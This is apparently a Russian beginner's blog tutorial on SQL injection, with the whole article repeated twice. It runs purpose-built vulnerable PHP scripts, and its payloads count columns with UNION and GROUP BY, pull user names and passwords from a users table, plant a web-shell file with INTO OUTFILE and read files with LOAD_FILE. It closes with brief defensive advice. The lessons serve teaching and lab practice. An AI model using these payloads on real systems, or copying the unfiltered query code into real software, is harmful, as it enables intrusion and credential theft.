    Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

    Предисловие

    Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

    Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

    Что же такое SQL инъекция?
    Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

    Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
    ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

    Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
    ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

    Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

    Подготовка
    Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

    Поиск SQL injection

    Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

    Числовой входящий параметр
    Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

    Т.к. у нас запрос не имеет фильтрации:

    $id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

    Скрипт поймет это как

    SELECT * FROM news WHERE id=1"

    И выдаст нам ошибку:
    Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

    Если ошибку не выдало - могут быть следующие причины:

    1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
    2.Отключен вывод ошибок.

    Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

    Строковой входящий параметр

    Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
    $user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

    Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
    Опять посылаем запрос с кавычкой:

    Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

    Приступаем к действиям

    Немного теории

    Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

    ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

    Всё, что идет после комментария - будет отброшено То есть запрос:
    SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

    Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

    Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

    Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

    Извлекаем из этого пользу

    Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

    Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
    SELECT * FROM news WHERE id=1 UNION SELECT 1
    И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

    Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

    Подбираем количество полей

    Подбор полей делается очень просто, достаточно посылать такие запросы:
    sqlinj/index1.php?id=1 UNION SELECT 1,2
    Ошибка…
    sqlinj/index1.php?id=1 UNION SELECT 1,2,3
    Опять ошибка!
    sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
    Ошибки нет! Значит количество столбцов равно 5.

    GROUP BY
    Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

    Если запрос
    sqlinj/index1.php?id=1 GROUP BY 2
    не выдал ошибок, значит кол-во полей больше 2. Пробуем:

    Sqlinj/index1.php?id=1 GROUP BY 8
    Оп, видим ошибку, значит кол-во полей меньше 8.

    Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

    Определение выводимых столбцов
    Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

    Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


    Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

    Вывод данных

    Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
    Нам нужно достать Информацию о пользователе с ID=1

    Следовательно построим такой запрос:

    Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
    Скрипт также продолжает выводить

    Для этого, мы подставим название полей, за место цифр 1 и 3

    Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
    Получили то - что требовалось!

    Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
    sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

    Чтение/Запись файлов

    Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
    Запись файлов
    На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
    sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
    Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
    sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
    Чтение файлов
    Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

    Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

    Таким образом, мы прочитали предыдущий записанный файл.

    Способы защиты

    Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
    $id = (int) $_GET["id"];
    Как подсказал пользователь . Защищаться использованием PDO или prepared statements.

    Вместо завершения

    На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
    И запомните, не доверяйте ни одному пользователю Вашего сайта.

    Теги:

    • SQL injection
    • sql inj
    Добавить метки

    Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

    Предисловие

    Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

    Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

    Что же такое SQL инъекция?
    Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

    Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
    ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

    Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
    ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

    Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

    Подготовка
    Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

    Поиск SQL injection

    Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

    Числовой входящий параметр
    Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

    Т.к. у нас запрос не имеет фильтрации:

    $id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

    Скрипт поймет это как

    SELECT * FROM news WHERE id=1"

    И выдаст нам ошибку:
    Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

    Если ошибку не выдало - могут быть следующие причины:

    1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
    2.Отключен вывод ошибок.

    Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

    Строковой входящий параметр

    Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
    $user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

    Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
    Опять посылаем запрос с кавычкой:

    Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

    Приступаем к действиям

    Немного теории

    Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

    ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

    Всё, что идет после комментария - будет отброшено То есть запрос:
    SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

    Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

    Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

    Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

    Извлекаем из этого пользу

    Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

    Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
    SELECT * FROM news WHERE id=1 UNION SELECT 1
    И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

    Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

    Подбираем количество полей

    Подбор полей делается очень просто, достаточно посылать такие запросы:
    sqlinj/index1.php?id=1 UNION SELECT 1,2
    Ошибка…
    sqlinj/index1.php?id=1 UNION SELECT 1,2,3
    Опять ошибка!
    sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
    Ошибки нет! Значит количество столбцов равно 5.

    GROUP BY
    Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

    Если запрос
    sqlinj/index1.php?id=1 GROUP BY 2
    не выдал ошибок, значит кол-во полей больше 2. Пробуем:

    Sqlinj/index1.php?id=1 GROUP BY 8
    Оп, видим ошибку, значит кол-во полей меньше 8.

    Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

    Определение выводимых столбцов
    Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

    Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


    Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

    Вывод данных

    Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
    Нам нужно достать Информацию о пользователе с ID=1

    Следовательно построим такой запрос:

    Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
    Скрипт также продолжает выводить

    Для этого, мы подставим название полей, за место цифр 1 и 3

    Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
    Получили то - что требовалось!

    Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
    sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

    Чтение/Запись файлов

    Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
    Запись файлов
    На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
    sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
    Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
    sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
    Чтение файлов
    Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

    Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

    Таким образом, мы прочитали предыдущий записанный файл.

    Способы защиты

    Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
    $id = (int) $_GET["id"];
    Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

    Вместо завершения

    На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
    И запомните, не доверяйте ни одному пользователю Вашего сайта.

    Теги: Добавить метки



    Загрузка...